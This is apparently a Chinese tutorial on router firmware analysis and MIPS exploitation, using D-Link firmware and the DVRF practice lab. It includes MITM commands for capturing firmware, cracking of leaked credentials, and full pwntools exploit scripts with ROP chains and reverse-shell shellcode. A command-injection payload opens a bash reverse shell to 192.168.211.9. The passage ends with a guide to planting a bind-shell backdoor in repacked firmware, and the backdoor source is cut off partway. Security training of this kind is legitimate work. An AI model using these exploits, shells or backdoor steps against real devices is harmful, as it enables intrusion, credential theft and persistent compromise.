当前位置: 首页 > article >正文

从0到1:固件分析

固件分析

0x01 固件提取

1、从厂商官网下载

例如D-link的固件:

https://support.dlink.com/resource/products/

2、代理或镜像设备更新时的流量

发起中间人攻击MITM

#启用IP转发功能
echo 1 > /proc/sys/net/ipv4/ip_forward

#配置iptables,将目的的端口80的流量重定向至SSLstrip监听的端口10000
iptables -t nat -p tcp -A PREROUTING --dport 80 -j REDIRECT --to-port 10000

#启动SSLstrip
ssltrip -a

#启动Ettercap GUI
ettercap -G

#监听网卡,用wireshark监听同样的网卡

#过滤并保存相关数据,即得到固件

3、直接从设备转储固件

通过UART、SPI或者JTAG接口直接转储固件

固件提取实战(附无损提取方案)

0x02 Dlink_DWR-932B 路由器固件分析

得到固件后,若直接打开,会发现该固件被加了密,无法直接解压缩,这是厂商对该固件做了保护,防止大家逆向分析他的固件。

通过frackzip工具可以破解该zip的密码

fcrackzip -u -v -b DWR-932.zip

密码是beUT9Z。
在这里插入图片描述

解压后发现文件夹中有多个.yaffs2后缀的文件,这些都是固件的文件。 在这里插入图片描述

yaffs2里有几个看上去是recovery的镜像,核心的应该是2K-mdm-image-mdm9625.yaffs2 ,我们下面就来提取该文件,我首先用binwalk来提取它,但提取出来的文件乱七八糟,不知道什么原因,后来看网上推荐直接用yaffs的原生工具unyaffs提取,就可以了,文件系统清晰明了。

unyaffs 2K-mdm-image-mdm9625.yaffs2 yaffs2-root/

在这里插入图片描述

接下来我们查找该路径下的所有.conf文件,.conf文件多是配置文件,有可能从中可以发现敏感的信息。

find . -name '*.conf'

在这里插入图片描述

其中的inadyn-mt.conf文件引起了我们注意,这是no-ip应用的配置文件,no-ip就是一个相当于花生壳的东西,可以申请动态域名。我们从中可以发现泄露的no-ip的登陆账号及密码。

cat etc/inadyn-mt.conf

在这里插入图片描述

除了上述泄露的no-ip账号密码,我们还从shadow文件中找到了root账号的密码,通过爆破可以得到root的密码为1234。

cat ~/yaffs2-root/etc/shadow

cat /etc/shadow | grep root | cut -d: -f2 > root.hash

john --wordlist=/usr/share/wordlists/rockyou.txt root.hash

在这里插入图片描述

其实并不止有.conf文件会泄露信息,还有很多其他后缀的敏感文件会泄露信息,我们接下来使用firmwalker工具来自动化遍历该固件系统中的所有可疑文件。

git clone https://github.com/craigz28/firmwalker.git

命令如下,firmwalker会将结果保存到firmwalker.txt。

./firmwalker.sh ~/yaffs2-root/

在这里插入图片描述

看了下该工具的源码,没啥亮点,就是遍历各种后缀的文件。
在这里插入图片描述

后缀都在data文件夹中的各个配置文件中。
在这里插入图片描述

分析完敏感的配置文件后,我们接下来分析存在风险的二进制程序。查看自启动的程序,一个start_appmgr脚本引起了我们注意,mgr一般就是主控程序的意思。

在这里插入图片描述

该脚本会在开机的时候以服务的形式运行/bin.appmgr程序。

在这里插入图片描述

appmgr 分析

用 IDA 打开 /bin/appmgr 程序看看

main 函数下 F5,可以发现有一个线程会持续监听 0.0.0.0:39889(UDP),并等待传入控制命令,如果某个用户向目标路由器发送了一个 HELODBG 字符串,那么路由器将会执行 /sbin/telnetd -l /bin/sh ,并允许这名用户在未经身份验证的情况下以 root 用户的身份登录路由器。

在这里插入图片描述

默认 admin 账号

搜索 mod_sysadm_config_passwd 函数

在这里插入图片描述

路由器的管理员账号。设备的管理员账号默认为“admin”,而密码同样也是“admin”。

默认 WPS PIN 码

搜索 wifi_get_default_wps_pin 函数

在这里插入图片描述

默认配置下,该路由器 WPS 系统的 PIN 码永远都是 28296607 因为这个 PIN 码是硬编码在 /bin/appmgr 程序中


fotad 分析

路由器与 FOTA 服务器进行通信时的凭证数据硬编码在 /sbin/fotad 代码中,我们用 IDA 进行分析

搜索 sub_CAAC 函数,可以发现被 base64 过的凭证

在这里插入图片描述

用户/密码如下

cWRwYzpxZHBj        qdpc:qdpc
cWRwZTpxZHBl        qdpe:qdpe
cWRwOnFkcA==        qdp:qdp

UPnP 安全问题

UPnP 允许用户动态添加防火墙规则。因为这种做法会带来一定的安全风险,因此设备通常都会对这种操作进行限制,以避免不受信任的客户端添加不安全的防火墙规则。

UPnP 的不安全性早在2006年就已经是众所周知的事情了。而该路由器中 UPnP 程序的安全等级仍然非常的低,处于局域网内的攻击者可以随意修改路由器的端口转发规则。

文件 /var/miniupnpd.conf 是由 /bin/appmgr 程序生成的:

搜索 sub_2AE0C 函数

在这里插入图片描述

该程序会生成 /var/miniupnpd.conf

ext_ifname=rmnet0
listening_ip=bridge0
port=2869
enable_natpmp=yes
enable_upnp=yes
bitrate_up=14000000
bitrate_down=14000000
secure_mode=no      # "secure" mode : when enabled, UPnP client are allowed to add mappings only to their IP.
presentation_url=http://192.168.1.1
system_uptime=yes
notify_interval=30
upnp_forward_chain=MINIUPNPD
upnp_nat_chain=MINIUPNPD

0x03 D-Link DIR-882固件解密

我们可以通过分析固件的之前的一些版本,找到研究固件当前版本的一些线索。

下面这张图

image-20210310145532897

image-20210310145532897

是很多路由器厂家会采取的一种更新升级固件并使固件更加“安全“的方案。 这个方案是这样的:最开始发布的固件是没有加密的,也没有附带任何解密的文 件,随着固件更新,解密文件会和较新版本 v1.1 中的未加密版本一起发布,以 便将来进行固件加密,v1.1 版本作为过渡使用。而到了 v1.2 时,固件则是以加密形式发布的,不过仍附带解密文件。

[固件下载地址](https://github.com/OL4THREE/Practice-Note/tree/main/D-Link DIR-882固件解密实验)

我们以 D-Link DIR-882 固件为例。我们在分析固件时会发现它被 加密过了,使用 binwalk 根本无法探测,比如这次的固件 v1.20b06

image-20210310151511835

这时候我们可以考虑通过分析旧版本的固件尝试是否有什么线索来解密现在这 个新版本的固件 在 这 里 我 们 可 以 找 到 所 有 旧 版 本 的 固 件 ( ftp://ftp2.dlink.com/PRODUCTS/DIR-882/REVA/ ) , 我 们 找 个 最 早 的 版 本 v1.00b07,下载来后解压尝试binwalk读取

image-20210310151552125

可以看到能识别出信息,或者说是没有加密过的。 那再看看稍微新一点的版本

v1.10b02

image-20210310151718892

可以看到有两个 bin 文件,说明 1.04b02 的过渡版本,它包含在 v1.10b02 固件包 汇中,名字也已经告诉我们了,1.04b02 是未加密的 分别使用 binwalk

image-20210310152045023

而加密后的固件却什么也看不到

image-20210310152141476

我们把 1.04b02 提取出来

image-20210310152258117

进入生成的文件夹

image-20210310152409226

注意到有两个文件,使用 binwalk 提取 A0 进入新文件夹 再次提取8AB758最近进入文件夹

image-20210310152655387

注意到这里有一个 Imgdecrypt 的文件,看名字,应该是用来解密镜像的 file 查看

image-20210310153011754

发现是个可执行文件,尝试执行,缺少相应的 so 文件,这很正常,因为这个文 件是写在 mips 架构上运行的,而我们目前是 x86 为了运行它,我们使用 qemy-mipsel-static

image-20210310153011754

首先将其复制到固件根文件系统的/usr/bin 目录下 在将前面发现是加密的固件 1.20b06 复制过来

sudo chroot . ./qemu-mipsel-static ./bin/sh

image-20210310153928160

接着还是同样的办法模拟 mips 架构拿到 shell 此时再执行 imgdecrypt 可以看到 打印出了使用方法 按照其提示,可以看到对原来加密的固件进行了解密 操作如上图所示 这时候再次使用 binwalk 查看被解密后的固件,可以看到已经可以识别了

image-20210310154124223

这给我们的启示就是,在碰到加密的固件时,可以考率查找位于同一产品线、具 有相同处理器体系结构的路由器固件,找那些版本旧一些的,或者过渡版本,或 许就能为我们提供线索。 我们使用 binwalk 如之前未加密的固件一般一步步提取

image-20210310154715261

敏感信息分析

可以看到文件系统都被提取出来了 这里介绍一个常用的小工具 firmwalk.sh 它将搜索固件文件系统,以获取与敏感信息相关的东西,如:

etc/shadow and etc/passwd
列出 etc/ssl 目录
搜索相关的文件,如. pem,. crt, 等。
搜索配置文件
查找脚本文件
搜索其他. bin 文件
查找诸如管理员。密码。远程等关键字。
搜索在 IoT 设备上使用的通用网络服务器
搜索常见的二进制文件,如 ssh。tftp。dropbear 等。
搜索网址,电子邮件地址和 IP 地址

我们可以使用它来看看这个文件系统中有哪些敏感信息 命令为./firmwalker.sh 文件系统的路径

image-20210310155058406

image-20210310155209933

image-20210310155231701

image-20210310155302852

image-20210310155344902

0x04 基于固件仿真的动态分析

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

0x05 MIPS架构下的漏洞利用(DVRF靶场)

 $ file ./bin/busybox                                  
./bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

stack_bof_01

获取参数后,未校验长度赋值给局部变量造成栈溢出,有后门函数 0x00400950 :

img

Main 函数由 libc_main_start 调用,即 main 函数为非叶子函数,返回地址存放在栈上,从汇编可见:

img

img

直接跳转 0x00400950 会因为 t9 的值被修改而错误。mips默认 t9 为当前函数开始地址。函数内部通过 t9 寄存器和 gp 寄存器来找数据,地址等。

其他师傅文章中是通过找 libc 中的 lw t 9 , a r g 0 ( t9, arg_0( t9,arg0(sp);jalr $t9 调整 t9 寄存器。但是我固件镜像中的 libc 没有这个 gadget ,按照偏移地址跳转过去是 jalr $t9 。换个思路直接跳过 dat_shell 开头调整 gp 部分:

img

修复 t9 寄存器思路参考师傅文章:

https://www.cnblogs.com/hac425/p/9416758.html

调试方法

需要打开几个 terminal 启动不同的命令:

  • 启动 qemu 模拟-strace 查看 qemu 调试信息,方便观察执行了什么命令qemu-mipsel-static -L . -g 1234 -strace ./pwnable/Intro/uaf_01 aaaa

  • gdb-multiarchgdb-multiarch ./pwnable/Intro/stack_bof_01

    set architecture mips
    set endian little
    target remote :1234

连上之后会停在 start ,在 main 函数开头打断点,运行到这个断点,然后就慢慢单步调试。

EXP

字符串是从参数读入,跳转地址转换后是不可见字符 ,需要借助 cat 传入参数

# file_name: stack_bof_01.py
from pwn import *

context.binary = "./pwnable/Intro/stack_bof_01"
context.arch = "mips"
context.endian = "little"

backdoor = 0x0040095c 

payload = 'a'*0xc8+'b'*0x4
payload += p32(backdoor)



with open("stack_bof_01_payload","w") as file:
 file.write(payload)

命令行执行:

sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`"

stack_bof_02

和前面一题差不多,调试方法也一样,就是少了后门函数,造成溢出函数变成了 strcpy :

img

main 非叶子函数覆盖函数返回地址跳转存放在栈上的 shellocde 。qemu 模拟地址没有随机化,相当于 aslr 关闭了,直接调试查出 v4 的内存地址

Shellcode 查询:
http://shell-storm.org/shellcode/files/shellcode-792.php

直接写入 shellcode 可以完整执行完,但是执行 syscall 0x40404 之后没有弹 shell 而是进行运行到下一条指令。问了师傅说也有遇到过这种情况,通过加无意义的指令(nop)调整 shellcode 位置有机会能成,用了 XOR $t1, $t1, $t1 避免 strcpy \x00 截断(只有不包含截断符指令都行),尝试后无果。

img

查阅资料后发现,由于 mips 是流水指令集,存在 cache incoherency 的特性,需要调用 sleep 或者其他函数将数据区刷新到当前指令区中去,才能正常执行 shellcode 。

https://ctf-wiki.org/pwn/linux/mips/mips_rop/#2-dvrf-stack_bof_02c

img

构造 ROP 的 gadget 得去 libc 找,程序自身没多少个。我在 ubuntu18 gdb 连上报错,换到 ubuntu16 vmmap 查不出来 libc 信息(如图),最后换 attify 解决问题。

libc路径:/squashfs-root/lib/libc.so.0

img

先调用 sleep(1) 就需要找 gadget 控制参数以及跳转。mipsrop.find(“li $a0,1”) 控制第一个参数,任选一个后面 rop 没有 gadget 继续构造就换一个 -。- ,我选着第二个构造 gadget1 = 0x2FB10 :

img

.text:0002FB10                 li      $a0, 1
.text:0002FB14                 move    $t9, $s1
.text:0002FB18                 jalr    $t9 ; sub_2F818

接着需要找一个控制 s1 的 gadget ,用于控制执行完 gadget1 之后跳转到哪里。mipsrop.find(“li $s1”) 结果有很多,最后选了 gadget2 = 0x00007730 :

.text:00007730                 lw      $ra, 0x18+var_s10($sp)
.text:00007734                 lw      $s3, 0x18+var_sC($sp)
.text:00007738                 lw      $s2, 0x18+var_s8($sp)
.text:0000773C                 lw      $s1, 0x18+var_s4($sp)
.text:00007740                 lw      $s0, 0x18+var_s0($sp)
.text:00007744                 jr      $ra

至此 a0 被控制为 1 ,目前 payload 结构为:

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += "????"#s1
payload += "bbbb"#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra

不能直接将 sleep(0x767142b0) 填到 s1 处,因为直接填地址跳转 sleep 缺少了跳转前将返回地址放到 ra 寄存器(或压栈)的过程,当 sleep 运行到结尾的 jalr $ra 时,又会跳转会到 gadget1 ,所以要换个方式。

mipsrop.tails() 找通过 s0\s2\s3 寄存器跳转的 gadget ,选择了 gadget3 = 0x00020F1C :

.text:00020F1C                 move    $t9, $s2
.text:00020F20                 lw      $ra, 0x18+var_sC($sp)
.text:00020F24                 lw      $s2, 0x18+var_s8($sp)
.text:00020F28                 lw      $s1, 0x18+var_s4($sp)
.text:00020F2C                 lw      $s0, 0x18+var_s0($sp)
.text:00020F30                 jr      $t9

解决 sleep 运行结束返回地址问题,并 lw r a , 0 x 18 + v a r s C ( ra, 0x18+var_sC( ra,0x18+varsC(sp) 控制下一层跳转,payload 结构:

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "cccc"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += "????"#ra

mipsrop.stackfinders() 找一个 gadget 提取栈地址放到寄存器中,找的时候还要注意控制下一次跳转选择 gadget4 = 0x16dd0 这个,通过 gadget3 提前将下次跳转地址写入 s0 :

.text:00016DD0                 addiu   $a0, $sp, 0x38+var_20
.text:00016DD4                 move    $t9, $s0
.text:00016DD8                 jalr    $t9
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "????"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra

最后找一个用 a0 跳转的 gadget ,一开始用 mipsrop.tails() 没找到,最后用 mipsrop.find(“move t 9 , t9, t9,a0)”) 找着了 gadget5 = 0x214a0 ,对 mipsrop 理解不够……

.text:000214A0                 move    $t9, $a0
.text:000214A4                 sw      $v0, 0x30+var_18($sp)
.text:000214A8                 jalr    $t9

最后跳转 shellcode 时,0x000214A4 的这句汇编 sw v 0 , 0 x 30 + v a r 1 8 ( v0, 0x30+var_18( v0,0x30+var18(sp) 会将 shellcode 第一个指令替换为 nop ,用无意义指令填充,将 shellcode 向后移。

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode

EXP

from pwn import *

context.binary = "./pwnable/ShellCode_Required/stack_bof_02"
context.arch = "mips"
context.endian = "little"

# libc_base = 0x766e5000
sleep = 0x767142b0#0x2F2B0+0x766e5000
gadget1 = 0x76714b10
'''
   0x76714b10: li a0,1
   0x76714b14: move t9,s1
   0x76714b18: jalr t9
'''
gadget2 = 0x766ec730
'''
   0x766ec730: lw ra,40(sp)
   0x766ec734: lw s3,36(sp)
   0x766ec738: lw s2,32(sp)
   0x766ec73c: lw s1,28(sp)
   0x766ec740: lw s0,24(sp)
   0x766ec744: jr ra
'''
gadget3 = 0x76705f1c
'''
   0x76705f1c: move t9,s2
   0x76705f20: lw ra,36(sp)
   0x76705f24: lw s2,32(sp)
   0x76705f28: lw s1,28(sp)
   0x76705f2c: lw s0,24(sp)
   0x76705f30: jr t9
'''
gadget4 = 0x766fbdd0
'''
   0x766fbdd0: addiu a0,sp,24
   0x766fbdd4 <optarg>: move t9,s0
   0x766fbdd8: jalr t9
'''
gadget5 = 0x767064a0
'''
   0x767064a0: move t9,a0
   0x767064a4: sw v0,24(sp)
   0x767064a8: jalr t9
'''
shellcode = "\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f "  # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e "  # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode += "\xf5\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01"  # syscall 0x40404

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode


with open("stack_bof_02_payload","w") as file:
 file.write(payload)

socket_bof

这题二进制文件用 ida 看伪代码有点瑕疵,本来溢出点变成了一个指针,导致一直找不到,最后无奈去看了下源码和结合汇编。

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

// Pwnable Socket Program
// By b1ack0wl
// Stack Overflow
 
int main(int argc, char **argv[])
{

if (argc <2){

printf("Usage: %s port_number - by b1ack0wl\n", argv[0]);
exit(1);

}
 
    char str[500] = "\0";
    char endstr[50] = "\0";
    int listen_fd, comm_fd;
    int retval = 0;
    int option = 1;
 
    struct sockaddr_in servaddr;
 
    listen_fd = socket(AF_INET, SOCK_STREAM, 0);
 
    bzero( &servaddr, sizeof(servaddr));
 
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = htons(INADDR_ANY);
    servaddr.sin_port = htons(atoi(argv[1]));
 printf("Binding to port %i\n", atoi(argv[1]));
 
    retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
 if (retval == -1){
 printf("Error Binding to port %i\n", atoi(argv[1]));
  exit(1);}

   if(setsockopt(listen_fd, SOL_SOCKET,SO_REUSEADDR, (char*)&option, sizeof(option)) < 0){
 printf("Setsockopt failed :(\n");
 close(listen_fd);
 exit(2);
}


    listen(listen_fd, 2);
 
    comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);
 
        bzero(str, 500);
 write(comm_fd, "Send Me Bytes:",14);
        read(comm_fd,str,500);
 sprintf(endstr, "nom nom nom, you sent me %s", str);
  printf("Sent back - %s",str);
        write(comm_fd, endstr, strlen(endstr)+1);
 shutdown(comm_fd, SHUT_RDWR);
 shutdown(listen_fd, SHUT_RDWR);
 close(comm_fd);
 close(listen_fd);
return 0x42;
}

栈溢出在这句 sprintf(endstr, “nom nom nom, you sent me %s”, str); str 是 socket 传入的数据,长度内容为我们所控制,溢出 padding 为 51

img

调试方法

在 ubuntu 16.04 下 gdb-multiarch target remote :1234 链接上后报错退出,切换到 attify 能继续使用最常规方式调试:qemu-user 模式加 -g 打开调试端口,gdb-multiarch target remote :1234 链接上去。

# terminal 1
sudo qemu-mipsel-static -L . -g 1234 -strace ./pwnable/ShellCode_Required/socket_bof 8884
# terminal 2 gdb-multiarch
set architecture mips 
set endian little
target remote :1234

另外一个调试方法是 qemu system 启动 mips 系统,然后传入一个 gdb-server ,在里面运行程序然后 gdb-server attach 程序,再在外面用 gdb 链接上去。

attify 里面 gdb 插件是 gef ,用 vmmap 读不出 libc 地址

img

曲线救国在 0x00400D34 打下断点,单步跟进去查看 sprintf 的真实地址,然后再从 ./lib/libc.so.0 读取偏移算出基地址

img

全部题目用的 libc 都同一个,需要 shellcode 的题目,换下 shellcode 就能通用 exp 。前面 stack_bof_02 是在 ubuntu16 里面的脚本 libc_base 和 attify 不一样要换下基地址。

Stack_bof_02 的 execve(‘/bin/sh’) 能打通

img

找一个反弹 shell 的 shellcode 替换,或者将 shell 绑定到某个端口

反弹 shell :http://shell-storm.org/shellcode/files/shellcode-860.php
绑定 shell :http://shell-storm.org/shellcode/files/shellcode-81.php

绑定 shell 的 shellcode 预期是开在本地的 4919 端口,实际运行后发现并不是,要自己查端口 -。- ,然鹅 nc 连上去后程序会蹦掉。

反弹 shell 的 shellcode 预编是反弹到 192.168.1.177:31337 ,要么修改网卡 ip ,要么就改一下 shellcode 传入的 ip

img

将 ip 地址转换成 16 进制

hex(192)#0xc0
hex(168)#0xa8
hex(1) #0x01
hex(177)#0xb1
#192.168.1.177==>0xB101A8C0

编译一下,编译失败看看是不是 binutils 没装

from pwn import
context.arch = "mips"
context.endian = "little"
asm("li $a1, 0xB101A8C0")

然后搜索 \x01\xb1\x05 \xc0\xa8\xa5\x34 替换为自己编译的:

stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05 \x01\xff\xa5\x34\x01\x01\xa5\x20"
#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05 \xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177
stg3_SC += "\xf8\xff\xa5\xaf\xd3\x09\x05 \xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.211.9
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08 \x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08 \x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

EXP

#!/usr/bin/python
from pwn import *

context.arch = 'mips'
context.endian = 'little'

libc_addr = 0x4089b000#0x766e5000
sleep = 0x0002F2B0

gadget1 = 0x2fb10
'''
   0x76714b10: li a0,1
   0x76714b14: move t9,s1
   0x76714b18: jalr t9
'''
gadget2 = 0x7730
'''
   0x766ec730: lw ra,40(sp)
   0x766ec734: lw s3,36(sp)
   0x766ec738: lw s2,32(sp)
   0x766ec73c: lw s1,28(sp)
   0x766ec740: lw s0,24(sp)
   0x766ec744: jr ra
'''
gadget3 = 0x20f1c
'''
   0x76705f1c: move t9,s2
   0x76705f20: lw ra,36(sp)
   0x76705f24: lw s2,32(sp)
   0x76705f28: lw s1,28(sp)
   0x76705f2c: lw s0,24(sp)
   0x76705f30: jr t9
'''
gadget4 = 0x16dd0
'''
   0x766fbdd0: addiu a0,sp,24
   0x766fbdd4 <optarg>: move t9,s0
   0x766fbdd8: jalr t9
'''
gadget5 = 0x214a0
'''
   0x767064a0: move t9,a0
   0x767064a4: sw v0,24(sp)
   0x767064a8: jalr t9
'''
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05 \x01\xff\xa5\x34\x01\x01\xa5\x20"
#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05 \xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177
stg3_SC += "\xf8\xff\xa5\xaf\xd3\x09\x05 \xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.211.9
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08 \x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08 \x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

payload = 'a' * 51
payload += p32(libc_addr+gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(libc_addr+gadget3)#s1
payload += p32(libc_addr+sleep)#s2
payload += "bbbb"#s3
payload += p32(libc_addr+gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(libc_addr+gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(libc_addr+gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += stg3_SC


p = remote('127.0.0.1',8882)
p.recvuntil('Send Me Bytes:')

p.sendline(payload)

p.interactive()

socket_cmd

远程命令注入,参考资料看下面:

CTF之命令执行绕过总结
反弹Shell,看这一篇就够了

img

EXP

依次打开终端运行

#terminal 0
qemu-mipsel-static -L . -strace ./pwnable/ShellCode_Required/socket_cmd 9999
#terminal 1
nc -lvvp 31337
#tarminal 2
nc 127.0.0.1 9999
hacked|`bash -c "bash -i >& /dev/tcp/192.168.211.9/31337 0>&1"`

img

是 iot 用户 nc 链接上去程序,程序是用 sudo 起来,所以切换到 root

0x06 使用firmware-mod-kit(FMK)在固件中添加后门

在漏洞利用过程中,经常需要用到的一种方法就是篡改固件。也就是从固件中提取文件系统,对其内容进行修改,然后再将其重新打包成新的固件,随后攻击者可以将这个新打包的固件刷进设备。

准备工作

固件篡改的过程会用到工具 FMK,该工具由 Jeremy Collake 和 Craig Heffner 开发。FMK 不仅可以利用 Binwalk 或其他工具从固件中提取出文件系统,还具有将篡改后的文件系统重新打包成新固件的功能。

FMK 可以从https://github.com/brianpow/firmware-mod-kit/下载,如果读者之前从 GitHub 中克隆了 FAT 代码,那么该工具应该已经存在于读者的系统中了。下载完该工具后,接下来我们就可以找一个固件一试身手了。出于简单起见,同时让本书的读者在无须投入资金购买硬件的情况下也能够复现以下步骤,我们主要以能够采用 FAT 进行仿真的固件为例进行介绍。

测试流程

篡改固件的步骤如下:

1)在本例中我们使用的固件来自 D-Link DIR-300 路由器。在这里我们使用 FMK 目录下的 extract-firmware.sh 脚本从固件中提取文件系统,而未使用 Binwalk。操作命令如图 1 所示。

./extract-firmware.sh Dlink_firmware.bin

img

提取出固件后,脚本会生成一个新目录,其中包括 rootfs、image_part 和 logs 等文件夹。由于攻击者的目的大多是添加后门和修改固件,因此这里我们只关心 rootfs 文件夹。

rootfs 文件夹中包含了固件中的整套文件系统。而我们所要做的工作就是在固件中添加后门,然后找到固件启动后自动调用后门的方法。

2)首先查看固件所基于的架构。对固件中任一文件执行 readelf 命令就可以查看其架构,以 BusyBox 文件为例,命令执行结果如图 2 所示。

img

3)正如我们从图 2 中看到的,固件是基于 MIPS 小端架构的。这意味着我们需要开发符合 MIPS 小端架构的后门并进行编译。下面是我们将要使用的后门源码,该后门由 Osanda Malith 开发编写:

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>
#define SERVER_PORT  9999 /* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)  * Bind Shell using Fork for my TP-Link mr3020 router running busybox  * Arch : MIPS  * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc  */int main() {   int serverfd, clientfd, server_pid, i = 0;   char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n";   char *args[] = { "/bin/busybox", "sh", (char *) 0 };   Analyzing and Exploiting Firmware   struct sockaddr_in server, client;   socklen_t len;
   server.sin_family = AF_INET;   server.sin_port = htons(SERVER_PORT);   server.sin_addr.s_addr = INADDR_ANY;
   serverfd = socket(AF_INET, SOCK_STREAM, 0);   bind(serverfd, (struct sockaddr *)&server, sizeof(server));   listen(serverfd, 1);
